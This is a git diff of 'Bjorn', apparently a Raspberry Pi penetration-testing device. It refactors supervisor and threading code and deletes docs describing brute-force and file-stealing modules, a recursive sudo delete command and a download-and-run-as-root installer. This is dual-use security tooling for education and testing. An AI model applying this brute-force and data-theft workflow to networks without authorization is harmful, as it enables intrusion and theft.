int(display_metrics.get("epd_enabled", 0)) + epd_failures = int(display_metrics.get("failed_updates", 0)) + epd_reinit = int(display_metrics.get("reinit_attempts", 0)) + epd_headless = int(display_metrics.get("headless", 0)) + epd_last_success = display_metrics.get("last_success_epoch", 0) + + logger.info( + "health " + f"thread_count={thread_count} " + f"rss_kb={rss_kb} " + f"queue_pending={pending} " + f"epd_failures={epd_failures} " + f"epd_reinit={epd_reinit} " + ) + + # Optional: tracemalloc report (only if enabled via PYTHONTRACEMALLOC or tracemalloc.start()). + try: + if tracemalloc.is_tracing(): + now = time.monotonic() + tm_interval = float(self.shared_data.config.get("tracemalloc_report_interval_s", 300) or 300) + if tm_interval > 0 and (now - self._tm_last_report) >= tm_interval: + self._tm_last_report = now + top_n = int(self.shared_data.config.get("tracemalloc_top_n", 10) or 10) + top_n = max(3, min(top_n, 25)) + + snap = tracemalloc.take_snapshot() + if self._tm_prev_snapshot is not None: + stats = snap.compare_to(self._tm_prev_snapshot, "lineno")[:top_n] + logger.info(f"mem_top (tracemalloc diff, top_n={top_n})") + for st in stats: + logger.info(f"mem_top {st}") + else: + stats = snap.statistics("lineno")[:top_n] + logger.info(f"mem_top (tracemalloc, top_n={top_n})") + for st in stats: + logger.info(f"mem_top {st}") + self._tm_prev_snapshot = snap + except Exception as exc: + logger.error_throttled( + f"Health monitor tracemalloc failure: {exc}", + key="health_tracemalloc_error", + interval_s=300, + ) + except Exception as exc: + logger.error_throttled( + f"Health monitor loop failure: {exc}", + key="health_loop_error", + interval_s=120, + ) + class Bjorn: - """Main class for Bjorn. Manages the primary operations of the application.""" - def __init__(self, shared_data): - self.shared_data = shared_data + """Main class for Bjorn. Manages orchestration lifecycle.""" + + def __init__(self, shared_data_): + self.shared_data = shared_data_ self.commentaire_ia = Commentaireia() self.orchestrator_thread = None self.orchestrator = None self.network_connected = False self.wifi_connected = False - self.previous_network_connected = None # Pour garder une trace de l'état précédent + self.previous_network_connected = None + self._orch_lock = threading.Lock() + self._last_net_check = 0 # Throttling for network scan + self._last_orch_stop_attempt = 0.0 def run(self): - """Main loop for Bjorn. Waits for Wi-Fi connection and starts Orchestrator.""" - # Wait for startup delay if configured in shared data - if hasattr(self.shared_data, 'startup_delay') and self.shared_data.startup_delay > 0: + """Main loop for Bjorn. Waits for network and starts/stops Orchestrator based on mode.""" + if hasattr(self.shared_data, "startup_delay") and self.shared_data.startup_delay > 0: logger.info(f"Waiting for startup delay: {self.shared_data.startup_delay} seconds") time.sleep(self.shared_data.startup_delay) - # Main loop to keep Bjorn running + backoff_s = 1.0 while not self.shared_data.should_exit: - if not self.shared_data.manual_mode: - self.check_and_start_orchestrator() - time.sleep(10) # Main loop idle waiting + try: + # Manual mode must stop orchestration so the user keeps full control. + if self.shared_data.operation_mode == "MANUAL": + # Avoid spamming stop requests if already stopped. + if self.orchestrator_thread is not None and self.orchestrator_thread.is_alive(): + self.stop_orchestrator() + else: + self.check_and_start_orchestrator() + + time.sleep(5) + backoff_s = 1.0 # Reset backoff on success + + except Exception as exc: + logger.error(f"Bjorn main loop error: {exc}") + logger.error_throttled( + "Bjorn main loop entering backoff due to repeated errors", + key="bjorn_main_loop_backoff", + interval_s=60, + ) + time.sleep(backoff_s) + backoff_s = min(backoff_s * 2.0, 30.0) def check_and_start_orchestrator(self): - """Check Wi-Fi and start the orchestrator if connected.""" + if self.shared_data.operation_mode == "MANUAL": + return if self.is_network_connected(): self.wifi_connected = True if self.orchestrator_thread is None or not self.orchestrator_thread.is_alive(): self.start_orchestrator() else: self.wifi_connected = False - logger.info("Waiting for Wi-Fi connection to start Orchestrator...") + logger.info_throttled( + "Waiting for network connection to start Orchestrator...", + key="bjorn_wait_network", + interval_s=30, + ) def start_orchestrator(self): - """Start the orchestrator thread.""" - self.is_network_connected() # reCheck if Wi-Fi is connected before starting the orchestrator - # time.sleep(10) # Wait for network to stabilize - if self.wifi_connected: # Check if Wi-Fi is connected before starting the orchestrator - if self.orchestrator_thread is None or not self.orchestrator_thread.is_alive(): - logger.info("Starting Orchestrator thread...") - self.shared_data.orchestrator_should_exit = False - self.shared_data.manual_mode = False - self.orchestrator = Orchestrator() - self.orchestrator_thread = threading.Thread(target=self.orchestrator.run) - self.orchestrator_thread.start() - logger.info("Orchestrator thread started, automatic mode activated.") - else: - logger.info("Orchestrator thread is already running.") - else: - pass + with self._orch_lock: + # Re-check network inside lock + if not self.network_connected: + return + if self.orchestrator_thread is not None and self.orchestrator_thread.is_alive(): + logger.debug("Orchestrator thread is already running.") + return + + logger.info("Starting Orchestrator thread...") + self.shared_data.orchestrator_should_exit = False + self.orchestrator = Orchestrator() + self.orchestrator_thread = threading.Thread( + target=self.orchestrator.run, + daemon=True, + name="OrchestratorMain", + ) + self.orchestrator_thread.start() + logger.info("Orchestrator thread started.") + def stop_orchestrator(self): - """Stop the orchestrator thread.""" - self.shared_data.manual_mode = True - logger.info("Stop button pressed. Manual mode activated & Stopping Orchestrator...") - if self.orchestrator_thread is not None and self.orchestrator_thread.is_alive(): - logger.info("Stopping Orchestrator thread...") + with self._orch_lock: + thread = self.orchestrator_thread + if thread is None or not thread.is_alive(): + self.orchestrator_thread = None + self.orchestrator = None + return + + # Keep MANUAL sticky so supervisor does not auto-restart orchestration. + try: + self.shared_data.operation_mode = "MANUAL" + except Exception: + pass + + now = time.time() + if now - self._last_orch_stop_attempt >= 10.0: + logger.info("Stop requested: stopping Orchestrator") + self._last_orch_stop_attempt = now self.shared_data.orchestrator_should_exit = True - self.orchestrator_thread.join() - logger.info("Orchestrator thread stopped.") + self.shared_data.queue_event.set() # Wake up thread + thread.join(timeout=10.0) + + if thread.is_alive(): + logger.warning_throttled( + "Orchestrator thread did not stop gracefully", + key="orch_stop_not_graceful", + interval_s=20, + ) + return + + self.orchestrator_thread = None + self.orchestrator = None self.shared_data.bjorn_orch_status = "IDLE" self.shared_data.bjorn_status_text2 = "" - self.shared_data.manual_mode = True - else: - logger.info("Orchestrator thread is not running.") - def is_network_connected(self): - """Checks for network connectivity on eth0 or wlan0 using ip command (replacing deprecated ifconfig).""" - logger = logging.getLogger("Bjorn.py") + """Checks for network connectivity with throttling and low-CPU checks.""" + now = time.time() + # Throttling: Do not scan more than once every 10 seconds + if now - self._last_net_check < 10: + return self.network_connected + + self._last_net_check = now def interface_has_ip(interface_name): try: - # Use 'ip -4 addr show ' to check for IPv4 address + # OPTIMIZATION: Check /sys/class/net first to avoid spawning subprocess if interface doesn't exist + if not os.path.exists(f"/sys/class/net/{interface_name}"): + return False + + # Check for IP address result = subprocess.run( - ['ip', '-4', 'addr', 'show', interface_name], - stdout=subprocess.PIPE, - stderr=subprocess.PIPE, - text=True + ["ip", "-4", "addr", "show", interface_name], + stdout=subprocess.PIPE, + stderr=subprocess.PIPE, + text=True, + timeout=2, ) if result.returncode != 0: return False - # Check if output contains "inet" which indicates an IP address - return 'inet' in result.stdout + return "inet " in result.stdout except Exception: return False - eth_connected = interface_has_ip('eth0') - wifi_connected = interface_has_ip('wlan0') + eth_connected = interface_has_ip("eth0") + wifi_connected = interface_has_ip("wlan0") self.network_connected = eth_connected or wifi_connected if self.network_connected != self.previous_network_connected: if self.network_connected: - logger.info(f"Network is connected (eth0={eth_connected}, wlan0={wifi_connected}).") + logger.info(f"Network status changed: Connected (eth0={eth_connected}, wlan0={wifi_connected})") else: - logger.warning("No active network connections found.") - + logger.warning("Network status changed: Connection lost") self.previous_network_connected = self.network_connected return self.network_connected - @staticmethod - def start_display(): - """Start the display thread""" - display = Display(shared_data) - display_thread = threading.Thread(target=display.run) - display_thread.start() - return display_thread + def start_display(old_display=None): + # Ensure the previous Display's controller is fully stopped to release frames + if old_display is not None: + try: + old_display.display_controller.stop(timeout=3.0) + except Exception: + pass -def handle_exit(sig, frame, display_thread, bjorn_thread, web_thread): - """Handles the termination of the main, display, and web threads.""" + display = Display(shared_data) + display_thread = threading.Thread( + target=display.run, + daemon=True, + name="DisplayMain", + ) + display_thread.start() + return display_thread, display + + +def _request_shutdown(): + """Signals all threads to stop.""" shared_data.should_exit = True - shared_data.orchestrator_should_exit = True # Ensure orchestrator stops - shared_data.display_should_exit = True # Ensure display stops - shared_data.webapp_should_exit = True # Ensure web server stops - handle_exit_display(sig, frame, display_thread) - if display_thread.is_alive(): - display_thread.join() - if bjorn_thread.is_alive(): - bjorn_thread.join() - if web_thread.is_alive(): - web_thread.join() - logger.info("Main loop finished. Clean exit.") - sys.exit(0) + shared_data.orchestrator_should_exit = True + shared_data.display_should_exit = True + shared_data.webapp_should_exit = True + shared_data.queue_event.set() + + +def handle_exit( + sig, + frame, + display_thread, + bjorn_thread, + web_thread_obj, + health_thread=None, + runtime_state_thread=None, + from_signal=False, +): + global _shutdown_started + + with _shutdown_lock: + if _shutdown_started: + if from_signal: + logger.warning("Forcing exit (SIGINT/SIGTERM received twice)") + os._exit(130) + return + _shutdown_started = True + + logger.info(f"Shutdown signal received: {sig}") + _request_shutdown() + + # 1. Stop Display (handles EPD cleanup) + try: + handle_exit_display(sig, frame, display_thread) + except Exception: + pass + + # 2. Stop Health Monitor + try: + if health_thread and hasattr(health_thread, "stop"): + health_thread.stop() + except Exception: + pass + + # 2b. Stop Runtime State Updater + try: + if runtime_state_thread and hasattr(runtime_state_thread, "stop"): + runtime_state_thread.stop() + except Exception: + pass + + # 3. Stop Web Server + try: + if web_thread_obj and hasattr(web_thread_obj, "shutdown"): + web_thread_obj.shutdown() + except Exception: + pass + + # 4. Join all threads + for thread in (display_thread, bjorn_thread, web_thread_obj, health_thread, runtime_state_thread): + try: + if thread and thread.is_alive(): + thread.join(timeout=5.0) + except Exception: + pass + + # 5. Close Database (Prevent corruption) + try: + if hasattr(shared_data, "db") and hasattr(shared_data.db, "close"): + shared_data.db.close() + except Exception as exc: + logger.error(f"Database shutdown error: {exc}") + + logger.info("Bjorn stopped. Clean exit.") + _release_instance_lock() + if from_signal: + sys.exit(0) + + +def _install_thread_excepthook(): + def _hook(args): + logger.error(f"Unhandled thread exception: {args.thread.name} - {args.exc_type.__name__}: {args.exc_value}") + # We don't force shutdown here to avoid killing the app on minor thread glitches, + # unless it's critical. The Crash Shield will handle restarts. + threading.excepthook = _hook + if __name__ == "__main__": - logger.info("Starting threads") + if not _acquire_instance_lock(): + sys.exit(1) + atexit.register(_release_instance_lock) + _install_thread_excepthook() + + display_thread = None + display_instance = None + bjorn_thread = None + health_thread = None + runtime_state_thread = None + last_gc_time = time.time() try: - logger.info("Loading shared data config...") + logger.info("Bjorn Startup: Loading config...") shared_data.load_config() - logger.info("Starting display thread...") - shared_data.display_should_exit = False # Initialize display should_exit - display_thread = Bjorn.start_display() + logger.info("Starting Runtime State Updater...") + runtime_state_thread = RuntimeStateUpdater(shared_data) + runtime_state_thread.start() - logger.info("Starting Bjorn thread...") + logger.info("Starting Display...") + shared_data.display_should_exit = False + display_thread, display_instance = Bjorn.start_display() + + logger.info("Starting Bjorn Core...") bjorn = Bjorn(shared_data) - shared_data.bjorn_instance = bjorn # Assigner l'instance de Bjorn à shared_data - bjorn_thread = threading.Thread(target=bjorn.run) + shared_data.bjorn_instance = bjorn + bjorn_thread = threading.Thread(target=bjorn.run, daemon=True, name="BjornMain") bjorn_thread.start() - if shared_data.config["websrv"]: - logger.info("Starting the web server...") - web_thread.start() + if shared_data.config.get("websrv", False): + logger.info("Starting Web Server...") + if not web_thread.is_alive(): + web_thread.start() - signal.signal(signal.SIGINT, lambda sig, frame: handle_exit(sig, frame, display_thread, bjorn_thread, web_thread)) - signal.signal(signal.SIGTERM, lambda sig, frame: handle_exit(sig, frame, display_thread, bjorn_thread, web_thread)) + health_interval = int(shared_data.config.get("health_log_interval", 60)) + health_thread = HealthMonitor(shared_data, interval_s=health_interval) + health_thread.start() - except Exception as e: - logger.error(f"An exception occurred during thread start: {e}") - handle_exit_display(signal.SIGINT, None) - exit(1) \ No newline at end of file + # Signal Handlers + exit_handler = lambda s, f: handle_exit( + s, + f, + display_thread, + bjorn_thread, + web_thread, + health_thread, + runtime_state_thread, + True, + ) + signal.signal(signal.SIGINT, exit_handler) + signal.signal(signal.SIGTERM, exit_handler) + + # --- SUPERVISOR LOOP (Crash Shield) --- + restart_times = [] + max_restarts = 5 + restart_window_s = 300 + + logger.info("Bjorn Supervisor running.") + + while not shared_data.should_exit: + time.sleep(2) # CPU Friendly polling + now = time.time() + + # --- OPTIMIZATION: Periodic Garbage Collection --- + # Forces cleanup of circular references and free RAM every 2 mins + if now - last_gc_time > 120: + gc.collect() + last_gc_time = now + logger.debug("System: Forced Garbage Collection executed.") + + # --- CRASH SHIELD: Bjorn Thread --- + if bjorn_thread and not bjorn_thread.is_alive() and not shared_data.should_exit: + restart_times = [t for t in restart_times if (now - t) <= restart_window_s] + restart_times.append(now) + + if len(restart_times) <= max_restarts: + logger.warning("Crash Shield: Restarting Bjorn Main Thread") + bjorn_thread = threading.Thread(target=bjorn.run, daemon=True, name="BjornMain") + bjorn_thread.start() + else: + logger.critical("Crash Shield: Bjorn exceeded restart budget. Shutting down.") + _request_shutdown() + break + + # --- CRASH SHIELD: Display Thread --- + if display_thread and not display_thread.is_alive() and not shared_data.should_exit: + restart_times = [t for t in restart_times if (now - t) <= restart_window_s] + restart_times.append(now) + if len(restart_times) <= max_restarts: + logger.warning("Crash Shield: Restarting Display Thread") + display_thread, display_instance = Bjorn.start_display(old_display=display_instance) + else: + logger.critical("Crash Shield: Display exceeded restart budget. Shutting down.") + _request_shutdown() + break + + # --- CRASH SHIELD: Runtime State Updater --- + if runtime_state_thread and not runtime_state_thread.is_alive() and not shared_data.should_exit: + restart_times = [t for t in restart_times if (now - t) <= restart_window_s] + restart_times.append(now) + if len(restart_times) <= max_restarts: + logger.warning("Crash Shield: Restarting Runtime State Updater") + runtime_state_thread = RuntimeStateUpdater(shared_data) + runtime_state_thread.start() + else: + logger.critical("Crash Shield: Runtime State Updater exceeded restart budget. Shutting down.") + _request_shutdown() + break + + # Exit cleanup + if health_thread: + health_thread.stop() + if runtime_state_thread: + runtime_state_thread.stop() + + handle_exit( + signal.SIGTERM, + None, + display_thread, + bjorn_thread, + web_thread, + health_thread, + runtime_state_thread, + False, + ) + + except Exception as exc: + logger.critical(f"Critical bootstrap failure: {exc}") + _request_shutdown() + # Try to clean up anyway + try: + handle_exit( + signal.SIGTERM, + None, + display_thread, + bjorn_thread, + web_thread, + health_thread, + runtime_state_thread, + False, + ) + except: + pass + sys.exit(1) diff --git a/CODE_OF_CONDUCT.md b/CODE_OF_CONDUCT.md deleted file mode 100644 index e1339fc..0000000 --- a/CODE_OF_CONDUCT.md +++ /dev/null @@ -1,40 +0,0 @@ -# 📝 Code of Conduct - -Take Note About This... **Take Note...** - -## 🤝 Our Commitment - -We are committed to fostering an open and welcoming environment for all contributors. As such, everyone who participates in **Bjorn** is expected to adhere to the following code of conduct. - -## 🌟 Expected Behavior - -- **Respect:** Be respectful of differing viewpoints and experiences. -- **Constructive Feedback:** Provide constructive feedback and be open to receiving it. -- **Empathy and Kindness:** Show empathy and kindness towards other contributors. -- **Respect for Maintainers:** Respect the decisions of the maintainers. -- **Positive Intent:** Assume positive intent in interactions with others. - -## 🚫 Unacceptable Behavior - -- **Harassment or Discrimination:** Harassment or discrimination in any form. -- **Inappropriate Language or Imagery:** Use of inappropriate language or imagery. -- **Personal Attacks:** Personal attacks or insults. -- **Public or Private Harassment:** Public or private harassment. - -## 📢 Reporting Misconduct - -If you encounter any behavior that violates this code of conduct, please report it by contacting [bjorn-cyberviking@outlook.com](mailto:bjorn-cyberviking@outlook.com). All complaints will be reviewed and handled appropriately. - -## ⚖️ Enforcement - -Instances of unacceptable behavior may be addressed by the project maintainers, who are responsible for clarifying and enforcing this code of conduct. Violations may result in temporary or permanent bans from the project and related spaces. - -## 🙏 Acknowledgments - -This code of conduct is adapted from the [Contributor Covenant, version 2.0](https://www.contributor-covenant.org/version/2/0/code_of_conduct.html). - ---- - -## 📜 License - -2024 - Bjorn is distributed under the MIT License. For more details, please refer to the [LICENSE](LICENSE) file included in this repository. diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md deleted file mode 100644 index 3b83ed5..0000000 --- a/CONTRIBUTING.md +++ /dev/null @@ -1,51 +0,0 @@ -# 🤝 Contributing to Bjorn - -We welcome contributions to Bjorn! To make sure the process goes smoothly, please follow these guidelines: - -## 📋 Code of Conduct - -Please note that all participants in our project are expected to follow our [Code of Conduct](#-code-of-conduct). Make sure to review it before contributing. - -## 🛠 How to Contribute - -1. **Fork the repository**: - Fork the project to your GitHub account using the GitHub interface. - -2. **Create a new branch**: - Use a descriptive branch name for your feature or bugfix: - - git checkout -b feature/your-feature-name - -3. **Make your changes**: - Implement your feature or fix the bug in your branch. Make sure to include tests where applicable and follow coding standards. - -4. **Test your changes**: - Run the test suite to ensure your changes don’t break any functionality: - - - ... -5. **Commit your changes**: - Use meaningful commit messages that explain what you have done: - - git commit -m "Add feature/fix: Description of changes" - -6. **Push your changes**: - Push your changes to your fork: - - git push origin feature/your-feature-name - -7. **Submit a Pull Request**: - Create a pull request on the main repository, detailing the changes you’ve made. Link any issues your changes resolve and provide context. - -## 📑 Guidelines for Contributions - -- **Lint your code** before submitting a pull request. We use [ESLint](https://eslint.org/) for frontend and [pylint](https://www.pylint.org/) for backend linting. -- Ensure **test coverage** for your code. Uncovered code may delay the approval process. -- Write clear, concise **commit messages**. - -Thank you for helping improve! - ---- - -## 📜 License - -2024 - Bjorn is distributed under the MIT License. For more details, please refer to the [LICENSE](LICENSE) file included in this repository. diff --git a/DEVELOPMENT.md b/DEVELOPMENT.md deleted file mode 100644 index 72b2279..0000000 --- a/DEVELOPMENT.md +++ /dev/null @@ -1,373 +0,0 @@ -# 🖲️ Bjorn Development - -

- thumbnail_IMG_0546 -

- -## 📚 Table of Contents - -- [Design](#-design) -- [Educational Aspects](#-educational-aspects) -- [Disclaimer](#-disclaimer) -- [Extensibility](#-extensibility) -- [Development Status](#-development-status) - - [Project Structure](#-project-structure) - - [Core Files](#-core-files) - - [Actions](#-actions) - - [Data Structure](#-data-structure) -- [Detailed Project Description](#-detailed-project-description) - - [Behaviour of Bjorn](#-behavior-of-bjorn) -- [Running Bjorn](#-running-bjorn) - - [Manual Start](#-manual-start) - - [Service Control](#-service-control) - - [Fresh Start](#-fresh-start) -- [Important Configuration Files](#-important-configuration-files) - - [Shared Configuration](#-shared-configuration-shared_configjson) - - [Actions Configuration](#-actions-configuration-actionsjson) -- [E-Paper Display Support](#-e-paper-display-support) - - [Ghosting Removed](#-ghosting-removed) -- [Development Guidelines](#-development-guidelines) - - [Adding New Actions](#-adding-new-actions) - - [Testing](#-testing) -- [Web Interface](#-web-interface) -- [Project Roadmap](#-project-roadmap) - - [Current Focus](#-future-plans) - - [Future Plans](#-future-plans) -- [License](#-license) - -## 🎨 Design - -- **Portability**: Self-contained and portable device, ideal for penetration testing. -- **Modularity**: Extensible architecture allowing addition of new actions. -- **Visual Interface**: The e-Paper HAT provides a visual interface for monitoring the ongoing actions, displaying results or stats, and interacting with Bjorn . - -## 📔 Educational Aspects - -- **Learning Tool**: Designed as an educational tool to understand cybersecurity concepts and penetration testing techniques. -- **Practical Experience**: Provides a practical means for students and professionals to familiarize themselves with network security practices and vulnerability assessment tools. - -## ✒️ Disclaimer - -- **Ethical Use**: This project is strictly for educational purposes. -- **Responsibility**: The author and contributors disclaim any responsibility for misuse of Bjorn. -- **Legal Compliance**: Unauthorized use of this tool for malicious activities is prohibited and may be prosecuted by law. - -## 🧩 Extensibility - -- **Evolution**: The main purpose of Bjorn is to gain new actions and extend his arsenal over time. -- **Modularity**: Actions are designed to be modular and can be easily extended or modified to add new functionality. -- **Possibilities**: From capturing pcap files to cracking hashes, man-in-the-middle attacks, and more—the possibilities are endless. -- **Contribution**: It's up to the user to develop new actions and add them to the project. - -## 🔦 Development Status - -- **Project Status**: Ongoing development. -- **Current Version**: Scripted auto-installer, or manual installation. Not yet packaged with Raspberry Pi OS. -- **Reason**: The project is still in an early stage, requiring further development and debugging. - -### 🗂️ Project Structure - -``` -Bjorn/ -├── Bjorn.py -├── comment.py -├── display.py -├── epd_helper.py -├── init_shared.py -├── kill_port_8000.sh -├── logger.py -├── orchestrator.py -├── requirements.txt -├── shared.py -├── utils.py -├── webapp.py -├── __init__.py -├── actions/ -│ ├── ftp_connector.py -│ ├── ssh_connector.py -│ ├── smb_connector.py -│ ├── rdp_connector.py -│ ├── telnet_connector.py -│ ├── sql_connector.py -│ ├── steal_files_ftp.py -│ ├── steal_files_ssh.py -│ ├── steal_files_smb.py -│ ├── steal_files_rdp.py -│ ├── steal_files_telnet.py -│ ├── steal_data_sql.py -│ ├── nmap_vuln_scanner.py -│ ├── scanning.py -│ └── __init__.py -├── backup/ -│ ├── backups/ -│ └── uploads/ -├── config/ -├── data/ -│ ├── input/ -│ │ └── dictionary/ -│ ├── logs/ -│ └── output/ -│ ├── crackedpwd/ -│ ├── data_stolen/ -│ ├── scan_results/ -│ ├── vulnerabilities/ -│ └── zombies/ -└── resources/ - └── waveshare_epd/ -``` - -### ⚓ Core Files - -#### Bjorn.py - -The main entry point for the application. It initializes and runs the main components, including the network scanner, orchestrator, display, and web server. - -#### comment.py - -Handles generating all the Bjorn comments displayed on the e-Paper HAT based on different themes/actions and statuses. - -#### display.py - -Manages the e-Paper HAT display, updating the screen with Bjorn character, the dialog/comments, and the current information such as network status, vulnerabilities, and various statistics. - -#### epd_helper.py - -Handles the low-level interactions with the e-Paper display hardware. - -#### logger.py - -Defines a custom logger with specific formatting and handlers for console and file logging. It also includes a custom log level for success messages. - -#### orchestrator.py - -Bjorn’s AI, a heuristic engine that orchestrates the different actions such as network scanning, vulnerability scanning, attacks, and file stealing. It loads and executes actions based on the configuration and sets the status of the actions and Bjorn. - -#### shared.py - -Defines the `SharedData` class that holds configuration settings, paths, and methods for updating and managing shared data across different modules. - -#### init_shared.py - -Initializes shared data that is used across different modules. It loads the configuration and sets up necessary paths and variables. - -#### utils.py - -Contains utility functions used throughout the project. - -#### webapp.py - -Sets up and runs a web server to provide a web interface for changing settings, monitoring and interacting with Bjorn. - -### ▶️ Actions - -#### actions/scanning.py - -Conducts network scanning to identify live hosts and open ports. It updates the network knowledge base (`netkb`) and generates scan results. - -#### actions/nmap_vuln_scanner.py - -Performs vulnerability scanning using Nmap. It parses the results and updates the vulnerability summary for each host. - -#### Protocol Connectors - -- **ftp_connector.py**: Brute-force attacks on FTP services. -- **ssh_connector.py**: Brute-force attacks on SSH services. -- **smb_connector.py**: Brute-force attacks on SMB services. -- **rdp_connector.py**: Brute-force attacks on RDP services. -- **telnet_connector.py**: Brute-force attacks on Telnet services. -- **sql_connector.py**: Brute-force attacks on SQL services. - -#### File Stealing Modules - -- **steal_files_ftp.py**: Steals files from FTP servers. -- **steal_files_smb.py**: Steals files from SMB shares. -- **steal_files_ssh.py**: Steals files from SSH servers. -- **steal_files_telnet.py**: Steals files from Telnet servers. -- **steal_data_sql.py**: Extracts data from SQL databases. - -### 📇 Data Structure - -#### Network Knowledge Base (netkb.csv) - -Located at `data/netkb.csv`. Stores information about: - -- Known hosts and their status. (Alive or offline) -- Open ports and vulnerabilities. -- Action execution history. (Success or failed) - -**Preview Example:** - -![netkb1](https://github.com/infinition/Bjorn/assets/37984399/f641a565-2765-4280-a7d7-5b25c30dcea5) -![netkb2](https://github.com/infinition/Bjorn/assets/37984399/f08114a2-d7d1-4f50-b1c4-a9939ba66056) - -#### Scan Results - -Located in `data/output/scan_results/`. -This file is generated everytime the network is scanned. It is used to consolidate the data and update netkb. - -**Example:** - -![Scan result](https://github.com/infinition/Bjorn/assets/37984399/eb4a313a-f90c-4c43-b699-3678271886dc) - -#### Live Status (livestatus.csv) - -Contains real-time information displayed on the e-Paper HAT: - -- Total number of known hosts. -- Currently alive hosts. -- Open ports count. -- Other runtime statistics. - -## 📖 Detailed Project Description - -### 👀 Behavior of Bjorn - -Once launched, Bjorn performs the following steps: - -1. **Initialization**: Loads configuration, initializes shared data, and sets up necessary components such as the e-Paper HAT display. -2. **Network Scanning**: Scans the network to identify live hosts and open ports. Updates the network knowledge base (`netkb`) with the results. -3. **Orchestration**: Orchestrates different actions based on the configuration and network knowledge base. This includes performing vulnerability scanning, attacks, and file stealing. -4. **Vulnerability Scanning**: Performs vulnerability scans on identified hosts and updates the vulnerability summary. -5. **Brute-Force Attacks and File Stealing**: Starts brute-force attacks and steals files based on the configuration criteria. -6. **Display Updates**: Continuously updates the e-Paper HAT display with current information such as network status, vulnerabilities, and various statistics. Bjorn also displays random comments based on different themes and statuses. -7. **Web Server**: Provides a web interface for monitoring and interacting with Bjorn. - -## ▶️ Running Bjorn - -### 📗 Manual Start - -To manually start Bjorn (without the service, ensure the service is stopped « sudo systemctl stop bjorn.service »): - -```bash -cd /home/bjorn/Bjorn - -# Run Bjorn -sudo python Bjorn.py -``` - -### 🕹️ Service Control - -Control the Bjorn service: - -```bash -# Start Bjorn -sudo systemctl start bjorn.service - -# Stop Bjorn -sudo systemctl stop bjorn.service - -# Check status -sudo systemctl status bjorn.service - -# View logs -sudo journalctl -u bjorn.service -``` - -### 🪄 Fresh Start - -To reset Bjorn to a clean state: - -```bash -sudo rm -rf /home/bjorn/Bjorn/config/*.json \ - /home/bjorn/Bjorn/data/*.csv \ - /home/bjorn/Bjorn/data/*.log \ - /home/bjorn/Bjorn/data/output/data_stolen/* \ - /home/bjorn/Bjorn/data/output/crackedpwd/* \ - /home/bjorn/Bjorn/config/* \ - /home/bjorn/Bjorn/data/output/scan_results/* \ - /home/bjorn/Bjorn/__pycache__ \ - /home/bjorn/Bjorn/config/__pycache__ \ - /home/bjorn/Bjorn/data/__pycache__ \ - /home/bjorn/Bjorn/actions/__pycache__ \ - /home/bjorn/Bjorn/resources/__pycache__ \ - /home/bjorn/Bjorn/web/__pycache__ \ - /home/bjorn/Bjorn/*.log \ - /home/bjorn/Bjorn/resources/waveshare_epd/__pycache__ \ - /home/bjorn/Bjorn/data/logs/* \ - /home/bjorn/Bjorn/data/output/vulnerabilities/* \ - /home/bjorn/Bjorn/data/logs/* - -``` - -Everything will be recreated automatically at the next launch of Bjorn. - -## ❇️ Important Configuration Files - -### 🔗 Shared Configuration (`shared_config.json`) - -Defines various settings for Bjorn, including: - -- Boolean settings (`manual_mode`, `websrv`, `debug_mode`, etc.). -- Time intervals and delays. -- Network settings. -- Port lists and blacklists. -These settings are accessible on the webpage. - -### 🛠️ Actions Configuration (`actions.json`) - -Lists the actions to be performed by Bjorn, including (dynamically generated with the content of the folder): - -- Module and class definitions. -- Port assignments. -- Parent-child relationships. -- Action status definitions. - -## 📟 E-Paper Display Support - -Currently, hardcoded for the 2.13-inch V2 & V4 e-Paper HAT. -My program automatically detect the screen model and adapt the python expressions into my code. - -For other versions: -- As I don't have the v1 and v3 to validate my algorithm, I just hope it will work properly. - -### 🍾 Ghosting Removed! -In my journey to make Bjorn work with the different screen versions, I struggled, hacking several parameters and found out that it was possible to remove the ghosting of screens! I let you see this, I think this method will be very useful for all other projects with the e-paper screen! - -## ✍️ Development Guidelines - -### ➕ Adding New Actions - -1. Create a new action file in `actions/`. -2. Implement required methods: - - `__init__(self, shared_data)` - - `execute(self, ip, port, row, status_key)` -3. Add the action to `actions.json`. -4. Follow existing action patterns. - -### 🧪 Testing - -1. Create a test environment. -2. Use an isolated network. -3. Follow ethical guidelines. -4. Document test cases. - -## 💻 Web Interface - -- **Access**: `http://[device-ip]:8000` -- **Features**: - - Real-time monitoring with a console. - - Configuration management. - - Viewing results. (Credentials and files) - - System control. - -## 🧭 Project Roadmap - -### 🪛 Current Focus - -- Stability improvements. -- Bug fixes. -- Service reliability. -- Documentation updates. - -### 🧷 Future Plans - -- Additional attack modules. -- Enhanced reporting. -- Improved user interface. -- Extended protocol support. - ---- - -## 📜 License - -2024 - Bjorn is distributed under the MIT License. For more details, please refer to the [LICENSE](LICENSE) file included in this repository. diff --git a/INSTALL.md b/INSTALL.md deleted file mode 100644 index 225552f..0000000 --- a/INSTALL.md +++ /dev/null @@ -1,468 +0,0 @@ -## 🔧 Installation and Configuration - -

- thumbnail_IMG_0546 -

- -## 📚 Table of Contents - -- [Prerequisites](#-prerequisites) -- [Quick Install](#-quick-install) -- [Manual Install](#-manual-install) -- [License](#-license) - -Use Raspberry Pi Imager to install your OS -https://www.raspberrypi.com/software/ - -### 📌 Prerequisites for RPI zero W (32bits) -![image](https://github.com/user-attachments/assets/3980ec5f-a8fc-4848-ab25-4356e0529639) - -- Raspberry Pi OS installed. - - Stable: - - System: 32-bit - - Kernel version: 6.6 - - Debian version: 12 (bookworm) '2024-10-22-raspios-bookworm-armhf-lite' -- Username and hostname set to `bjorn`. -- 2.13-inch e-Paper HAT connected to GPIO pins. - -### 📌 Prerequisites for RPI zero W2 (64bits) - -![image](https://github.com/user-attachments/assets/e8d276be-4cb2-474d-a74d-b5b6704d22f5) - -I did not develop Bjorn for the raspberry pi zero w2 64bits, but several feedbacks have attested that the installation worked perfectly. - -- Raspberry Pi OS installed. - - Stable: - - System: 64-bit - - Kernel version: 6.6 - - Debian version: 12 (bookworm) '2024-10-22-raspios-bookworm-arm64-lite' -- Username and hostname set to `bjorn`. -- 2.13-inch e-Paper HAT connected to GPIO pins. - - - -At the moment the paper screen v2 v4 have been tested and implemented. -I juste hope the V1 & V3 will work the same. - -### ⚡ Quick Install - -The fastest way to install Bjorn is using the automatic installation script : - -```bash -# Download and run the installer -wget https://raw.githubusercontent.com/infinition/Bjorn/refs/heads/main/install_bjorn.sh -sudo chmod +x install_bjorn.sh -sudo ./install_bjorn.sh -# Choose the choice 1 for automatic installation. It may take a while as a lot of packages and modules will be installed. You must reboot at the end. -``` - -### 